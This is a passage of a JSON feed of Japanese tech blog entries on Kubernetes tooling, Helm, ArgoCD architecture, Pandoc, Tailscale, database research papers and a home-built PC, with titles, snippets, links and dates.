では,現時点ではコンテキストと式が許可されていません。したがって,入力変数でディレクトリ名を受け取って上記に入れても動作しません。...","link":"https://zenn.dev/toshikish/articles/be970407f02098","isoDate":"2023-06-15T05:22:24.000Z","dateMiliSeconds":1686806544000,"authorName":"toshikish","authorId":"toshikish"},{"title":"PandocのLuaフィルタからPandoc templateを呼べるpandoc.templateモジュールがとても便利","contentSnippet":"Pandoc 3.0以降ではLuaフィルタで使えるモジュールにpandoc.templateが追加されました。これを使うとLuaフィルタ内でPandoc Templateを展開できます。","link":"https://blog.atusy.net/2023/06/12/pandoc-template-module/","isoDate":"2023-06-12T00:00:00.000Z","dateMiliSeconds":1686528000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubeconformをGitLab CIに組み込んで、k8sのマニフェストがAPIの仕様に沿うか検査する","contentSnippet":"はじめにk8sマニフェストを普段管理していないメンバーがマニフェストのファイルを変更する場面があります。その際のレビューを出来るだけ自動化したくkubeconformを導入しました。 KubeconformマニフェストがAPIの仕様に沿うか検査してくれます。https://github.com/yannh/kubeconform自分でスキーマを用意すればIstio、Argo Rollouts、Argo Workflowsのような外部のAPIも検査できます。 スキーマの生成スキーマの生成はpythonのスクリプトが用意されているので、これをCRDを引数で渡し実行しま...","link":"https://zenn.dev/tayusa/articles/1aa96e6ceb838a","isoDate":"2023-06-11T17:19:45.000Z","dateMiliSeconds":1686503985000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"plutoをGitLab CIに組み込んで非推奨のk8s apiVersionを検出する","contentSnippet":"はじめにk8sのバージョンが上がるとAPIが再編成されたりアップグレードされたりします。新しいAPIが出ると古いAPIは非推奨になり最終的には削除されます。なので、k8sのバージョンアップ時はDeprecated API Migration Guideなどを見て非推奨のapiVersionが使われていないか確認して時には修正する必要があります。https://kubernetes.io/docs/reference/using-api/deprecation-guide/例CronJob の batch/v1beta1 -> batch/v1 plutoplu...","link":"https://zenn.dev/tayusa/articles/79a3f54d8f21bc","isoDate":"2023-06-11T17:18:13.000Z","dateMiliSeconds":1686503893000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Istio Canary Upgrade by Helm","contentSnippet":"前提helmfileを利用istioのrevisionTagを利用関係のない設定は省略 Upgradeの前にInstall ディレクトリ構成├── helmfile_istio-base.yaml├── helmfile_istio-ingressgateway.yaml├── helmfile_istiod-1-16-0.yaml└── values ├── istio-base.yaml ├── istio-ingressgateway.yaml └── istiod.yaml helmfile helmfile_isti...","link":"https://zenn.dev/tayusa/articles/03cf961e2409bd","isoDate":"2023-06-11T17:17:37.000Z","dateMiliSeconds":1686503857000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Helmに入門したので、躓いたところを振り返る","contentSnippet":"はじめにアプリのマニフェストを管理するのにKustomizeを使っていたのですが、同じようなマニフェストが乱立したので管理を楽にするためにHelmに移行しました。Helmを一から書いたのは初めてだったので、躓いた点をここに残します。 quote関数の進数変換0から始まる数値をquote関数を使って文字列にすると進数変換が起こり想定した値ではなくなる下記のようなtemplateでidとして0000000060のような値を渡すと、8進数として解釈され10進数である48に変換されてしまいます。...id: {{ .id | quote }}...0から始まる数値はtem...","link":"https://zenn.dev/tayusa/articles/e9285c6c4c09a1","isoDate":"2023-06-11T17:16:25.000Z","dateMiliSeconds":1686503785000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"ビットコイン・ブロックチェーン入門","contentSnippet":"https://cryptocurrency.connpass.com/event/286818/\\r初学者の方向けにビットコイン技術の全体像をお話ししました。","link":"https://speakerdeck.com/shukob/bitutokoinburotukutienru-men-40047fd3-985e-4c8f-b34b-1ea610be2535","isoDate":"2023-06-10T04:00:00.000Z","dateMiliSeconds":1686369600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Go言語でNetlinkを少し触った話","contentSnippet":"Go言語でNetlinkを少し触ったのでメモ。具体的にはGo言語でNetlinkというネットワーク関連のライブラリを使ってStatic Routeを設定したりするサンプルを作ったりした。https://github.com/bells17/netlink-gosample Netlinkとは調べた範囲だと、Linuxカーネルのサブシステムの1つで、ルーティングテーブルの管理などのネットワーク関連の設定などを行う際に利用されるもの、という理解をしている。Netlinkは、Linuxカーネルとユーザ空間プロセス間の、またはカーネル内の通信を提供するためのIPC(Inter-pro...","link":"https://zenn.dev/bells17/articles/netlink-goexample","isoDate":"2023-06-08T18:03:10.000Z","dateMiliSeconds":1686247390000,"authorName":"bells17","authorId":"bells17"},{"title":"Kubernetes 1.27 以降のバッチ処理の改善","contentSnippet":"Kubernetes 1.27 以降で実装済みまたは予定されているバッチ処理の改善に繋がる KEP や Kubernetes のサブプロジェクトの現状を見ていきます。 KEP-3673: Kubelet limit of Parallel Image Pulls!Kubernetes 1.27 時点でアルファ機能です。1.28 でベータを目指していますが、設定はデフォルトで無効化されています。Pod の起動にノードのスケールアウトが必要な場合に、Pod の起動時間の短縮が期待できます。バッチ処理の Pod が一斉に起動するケースで恩恵を受けられそうです。Kubelet は...","link":"https://zenn.dev/toversus/articles/d6065bea460871","isoDate":"2023-06-08T03:46:32.000Z","dateMiliSeconds":1686195992000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"asdf の代わりに rtx を使う","contentSnippet":"nodeenv とか rbenv とか tfenv とか XXenv がそれぞれ .xxx-version というファイルにそのディレクトリ配下で使用する software の version を指定するという仕様があり、それらをまとめてやってくれる","link":"https://blog.1q77.com/2023/06/rtx/","isoDate":"2023-06-07T01:25:11.000Z","dateMiliSeconds":1686101111000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"お前のパケットはもう死んでいる。TCPに死亡フラグを実装してみた","contentSnippet":"はじめにプロトコルの仕様などIETFが発行しているRFCにはジョークRFCというものが存在しています。伝書鳩でIP通信するとか、コーヒーポットを制御するなどが有名です。鳥類キャリアによるIPHyper Text Coffee Pot Control Protocol (HTCPCP/1.0) 日本語訳今年そんなジョークRFCに、TCPに死亡フラグを実装するというRFC9401が追加されました。The Addition of the Death (DTH) Flag to TCP 日本語訳この記事ではこのTCPに死亡フラグを実装するというRFC9401を真面目に実装してみ...","link":"https://zenn.dev/satoken/articles/golang-rfc9401","isoDate":"2023-06-07T00:32:17.000Z","dateMiliSeconds":1686097937000,"authorName":"satoken","authorId":"satoken"},{"title":"PC作ってみた","contentSnippet":"SECCON Beginners CTF 2023 でボコボコにされて、少し萎えていますが、超絶久しぶりにブログでも書きます。なぜ自作PCまず、4月29, 30日(土・日)にGMOインターネットグループが開催するDevSecOpsThon2023というイベントに参加しました。これに関しては、イベント直後に、参加記を書こうと思っていたのですが、書かんといけないな〜と思いながら、2週間も経つと、完全に書く気がなくなりました。気になる方は、下に他の参加者さんが書いたリンクを貼っているのでそちらからご覧ください。イベントの参加者には、自宅サーバ勢が多く、確か半分くらいは、自宅にサーバを立てていたと思います。イベント自体が、インフラハッカソンというちょっと変わったイベントで、ハードウェアやOS、ミドルウェアといった低レイヤの知識を必要としており、もう自宅サーバ勢が無双状態で、自分の知識の欠如を非常に実感しました。そこで、その人たちに近づくための第一歩として、自作PCに取り組もうと思いました。developers.gmo.jpDevSecOpsThon2023 参加ブログ・DevSecOpsThonに参加してきた・「DevSecOpsThon at GMO kitaQ」に参加したらすごく良かった件!! - Qiita・DevSecOpsThon2023 at GMO kitaQ - Qiita・【\uD83D\uDCDD】DevSecOpsThon at GMO kitaQ\xa0自作PCに取り組むこれに取り組んだのは、5月27, 28日でした。この理由は、25日に給料日だったからですね。まずは、パーツの選択と購入から始めました。別にゲーム用途ではないため、GPUはいらない代わりに、グラフィック機能があるCPUにしたり、メモリの拡張性を考えて、4スロットあるマザーボードにしたりしました。初めての自作PCということで、そこまでスペックのいいものを作る気は最初からなく、まぁ10万円くらいかなと考えていたのですが、メモリやSSDが思ったよりも安く、7万円くらいで全てのパーツを購入することができました。購入したパーツが届いたら、あとは組み立てるだけでした。ググったら、自作PCについてのサイトはたくさん出てきましたが、正直マザーボードとPCケースの取扱説明書だけでも十分なほど説明が細かく書いてあります。全てのパーツをマザーボードにくっつけるだけなので、そこまで難しくはなく、電源など配線が終わったら、本当に起動してくれるのかドキドキしながら、電源ボタンを押しました。プラス端子とマイナス端子を逆にしていないかなど心配しながらも、BIOS画面が立ち上がった時はとても安心したし、嬉しかったです。ここまできたら、あとはブータブルUSBからOSを起動するだけで、無事に初めての自作PCを完成させることができました。今は、仮想マシンを複数台起動していて、それを使って、遊びつつ、勉強していこうと思っています。とりあえずは、Kubernetesクラスタを組んでみたり、脆弱性検証から始めていこうって感じです。自作PCのメモについては、下のリンク先にあります。moz-security.me作ってみて自作PCというと、とてもハードルが高いように感じますが、実際に作ってみると意外と簡単だし、色々と勉強になることもたくさんあります。また、デスクトップという制約はあるものの、同じ値段であれば、ノートPCよりもいいスペックで構築することができるし、店頭にあるデスクトップPCと比べても、自分で改造できるため、拡張性があるといったメリットがあります。一度だけでも作ってみるのはおすすめです。(自分に合わなければ、2度目をなくせばいいだけ)","link":"https://moz-security.hatenablog.com/entry/2023/06/04/172414","isoDate":"2023-06-04T08:24:14.000Z","dateMiliSeconds":1685867054000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Redis公式のGoクライアントライブラリrueidisを試してみた","contentSnippet":"This 記事 is 何?Twitterぼんやり見てたらRedis公式のGo用クライアントライブラリが出てたとかで、自身のプロジェクトにどの程度簡単に入れられるのかなーと思い試してみました。公式…","link":"https://qiita.com/bayobayo0324/items/8ac3e27eef360a316ad2","isoDate":"2023-05-31T12:02:25.000Z","dateMiliSeconds":1685534545000,"authorName":"bayobayo0324","authorId":"bayobayo0324"},{"title":"データフレームからの表組みを楽にするftExtra 0.6.0をリリース!脚注の書式指定が柔軟に!!","contentSnippet":"ftExtra 0.6.0では、脚注に関する機能が強化されました。ftExtraパッケージはRで表を出力する際に、セルの文字列をマークダウンとしてフォーマットする機能などを提供するパッケージです1。デフォルトではR Markdownと同様にマークダウン方言としてPandoc’s Markdownを採用しており、^[aaa]といった記法で脚注を記載できます。","link":"https://blog.atusy.net/2023/05/30/ftextra-0-6-0/","isoDate":"2023-05-30T00:00:00.000Z","dateMiliSeconds":1685404800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本のビットコイン決済を振り返る","contentSnippet":"https://cryptocurrency.connpass.com/event/280644/\\r2023年5月ビットコインとかミートアップでビットコイン決済についてLTしました。","link":"https://speakerdeck.com/shukob/ri-ben-nohitutokoinjue-ji-wozhen-rifan-ru","isoDate":"2023-05-27T04:00:00.000Z","dateMiliSeconds":1685160000000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"OLAPデータベースを支える技術","contentSnippet":"今年に入ってからCarnegie Mellon UniversityのAdvanced Database SystemsでReading Assignmentとして出ている論文リストで必須とされているものや講義資料を読みました。https://nnaka2992.hatenablog.com/archive/category/論文この記事では紹介されていた論文やAdvanced Database Systemsの講義資料・動画を振り替えることで、BigQueryやRedShift、Snowflakeといった最新の分析用データベースがどのように優れたパフォーマンスを実現しているかを考え...","link":"https://zenn.dev/nnaka2992/articles/technics_behind_analytical_database","isoDate":"2023-05-25T00:02:49.000Z","dateMiliSeconds":1684972969000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"leap.nvimを拡張して検索対象にラベルをつけて飛べるleap-search.nvimを作った","contentSnippet":"本記事はVim駅伝の5/24の記事です。leap.nvimについてeasymotion系のNeovimプラグインとしてメジャーどころにはhop.nvimやleap.nvimがあります。leap.nvimはいわゆるeasymotion系のプラグインで、入力した文字にマッチする箇所にラベル(a, b, c, …)をつけ、ラベルを入力するとその位置にカーソルを移動します。デフォルトの挙動はeasymotionの2-character search motionに近いもので、2文字にマッチする箇所にラベルをつけます。","link":"https://blog.atusy.net/2023/05/24/leap-onto-matched-patterns/","isoDate":"2023-05-24T00:00:00.000Z","dateMiliSeconds":1684886400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"PandocでドキュメントのYAMLフロントマター(メタデータ)を抽出する","contentSnippet":"以下のようなMarkdownファイルがあってYAMLフロントマターから .data.hoge を取り出したい、みたいなことはしばしばあります。---title: タイトルauthor: atusydata: hoge: fuga---なんかコンテンツこういう時、うまく grep コマンドとか使ってやるのも手ですが、Pandocの力でYAMLファイルを生成しても面白いでしょう。","link":"https://blog.atusy.net/2023/05/18/pandoc-extract-metadata/","isoDate":"2023-05-18T00:00:00.000Z","dateMiliSeconds":1684368000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"現在のDremelの実装を解説した論文を読みました ","contentSnippet":"この記事の趣旨2020年に発表されたBigQueryの元となったGoogle内で利用されている分析向けデータベースであるDremelの実装を解説した論文を読みました。Dremel: A Decade of Interactive SQL Analysis at Web Scale著者についてSergey Melnik, Andrey Gubarev, Jing Jing Long, Geoffrey Romer, Shiva Shivakumar, Matt Tolton,Theo Vassilakisら2010年のDremel発表論文の著者らと、Hossein Ahmadi, Dan Delorey, Slava Min, Mosha Pasumansky, Jeff ShuteらGoogleで分析ワークロードと分散処理に関わる著者らによる論文。概要BigQueryの元となったGoogleのDremelの10年間を振り替えってアーキテクチャについて説明した論文。Dremelは現代のクラウドネイティブ分析ツールで一般的になっている、計算リソースとストレージの分解、カラムナストレージ、in situデータ分析などを統合した最初のツールである。手法SQLの採用Googleでは殆どのデータはBigTableなどNoSQLデータベースで管理されていたため、SQLを用いないデータアクセスが主流であった。しかしトランザクション型ビッグデータシステムにおける、SQLの採用に共ないDremelでもSQLを採用した。ストレージの分離メモリの分離MapReduceのシャッフルのボトルネックを回避するためにDisaggregated Memory Shuffle Systemを採用した。In situデータ分析への対応DBMSへのデータロードを必要としないデータ分析のことで、DremelではGFSに移行するときにGoogle内で共有のストレージフォーマットを使用することでGoogle内のデータに対応した。加えてGoogle Cloud StorageやGoogle Drive、MySQL、BigTableなどからのデータ取得もフェデレーションとして対応した。サーバレスアーキテクチャフォールトトレラントリスタート、仮想スケジューリングユニットによりマルチテナントかつオンデマンドなリソースを提供可能とし、低価格な利用を可能とした。現在ではサーバレスアーキテクチャを進化させ、集中型スケジューリングやShuffle Persistent Layer、柔軟なDAG実行、動的クエリ実行などを実装することでより優れたサーバレスアーキテクチャを実現した。ネストデータにおけるカラムナストレージ[[32])]Figure 5Figure 6Figure 7クエリレイテンシの最小化インタラクティブな実行のレイテンシは大きくなる。それを解決するためにDremelではスタンバイサーバプール、マルチレベル実行ツリー、列指向スキーマ表現、CPUとIO負荷のバランス調整、ファイルオペレーションの再利用、保証されたキャパシティ、適合的なクエリスケーリングにより実現している。作業時間read27:5027:50author32:024:12summary68:5026:48","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/17_dremel","isoDate":"2023-05-15T02:14:20.000Z","dateMiliSeconds":1684116860000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Tailscale + Samba + NextCloudでおうちクラウド始めた","contentSnippet":"外出先から家にあるデータにアクセスしたい(義)両親に家族写真を共有したいデバイス間でデータを同期したいデータ容量の制限を考えたくないセキュリティはそこそこ欲しい変なデータ混ざっても垢BANされたくないこういった要望を叶えるためにtailscaleで構築したVPN内でのみアクセスできるSamba(ファイル共有)とNextCloud(DropBox的なもの)をたててみました。","link":"https://blog.atusy.net/2023/05/12/tailscale-nextcloud/","isoDate":"2023-05-12T00:00:00.000Z","dateMiliSeconds":1683849600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Connection draining for Service type LoadBalancer","contentSnippet":"はじめにService リソースは Kubernetes のサービス検出を支えるコアリソースです。Service のデータプレーンとして kube-proxy を使用している場合は、各ノード上の iptables や ipvs を設定することで L4 負荷分散を実現しています。Kubernetes は、結果整合性 (Eventual Consistency) の上に成り立つ分散システムです。Kubernetes のコントロールプレーンが Pod を削除する時に、全てのノード上のルーティングルールを更新してから Pod を削除したりはしません。削除中の Pod にもトラフィックが流...","link":"https://zenn.dev/toversus/articles/1682d275ef1bb7","isoDate":"2023-05-11T09:43:47.000Z","dateMiliSeconds":1683798227000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TiDBで学ぶNewSQLのアーキテクチャ for Beginners","contentSnippet":"はじめにこの記事ではNewSQLの特徴であるノード間の分散とトランザクションや分断耐性などがTiDBではどのような技術によって実現されているかを説明することを目的としています。Spannerの論文が2012年に発表されてから10年以上の年月が流れ、優れた論文や実装ドキュメント、個人による解説ブログなど技術的詳細について述べた資料は多くあります。加えてこの記事を入門的なものと位置づけているため各コンポーネントを網羅的に解説するというよりは、キーコンセプトをどのように実装しているのかを実験を混じえながら動作の実現方法の解説を中心に扱います。また今回はTiDBをベースに説明し...","link":"https://zenn.dev/nnaka2992/articles/learning_tidb_internal_for_beginner","isoDate":"2023-05-11T01:18:19.000Z","dateMiliSeconds":1683767899000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a Drive...","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"TailscaleをDockerで動かすと、再起動時に認証失敗 or IPアドレスが変わってしまう問題への対処","contentSnippet":"DockerでTailscaleを使ったVPNを構築してみました。公式の案内では以下の手順でauth keyを用いた起動ができます。docker run -d --name=tailscaled \\\\ -v /var/lib:/var/lib -v /dev/net/tun:/dev/net/tun \\\\ --network=host --cap-add=NET_ADMIN --cap-add=NET_RAW \\\\ --env TS_AUTHKEY={{ auth key }} \\\\ tailscale/tailscaleしかし、この方法は公式も記述している通り一時的な(ephemeral)用途向きです。","link":"https://blog.atusy.net/2023/05/05/tailscale-docker/","isoDate":"2023-05-05T00:00:00.000Z","dateMiliSeconds":1683244800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞記事関連のおすすめ書籍01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元:Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのようなレイヤーに分けている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at v2.8.0 \xb7 argoproj/argo-cd \xb7 GitHub▶ ArgoCDのマイクロサービスアーキテクチャの分割単位についてMonolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)▶ ArgoCDのマイクロサービスアーキテクチャの設計図についてhttps://microsoft.github.io/code-with-engineering-playbook/design/diagram-types/DesignDiagramsTemplates/componentDiagrams/コンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、またIDプロバイダーに送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。▶ argocd-serverのログイン手法について(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。▶ ArgoCDをどのClusterで管理するかについて(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例:GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registryなど) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomizeなど) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-pluginなど) をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetes▶ ArgoCDのコンテナイメージに組み込まれているツールについてquay.io/argoproj/argocd) には、いくつかのツール (例:Helm、Kustomize、Ks、Jsonnetなど) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例:helm-secrets) を使用する場合、上記のコンテナイメージからなるrepo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools 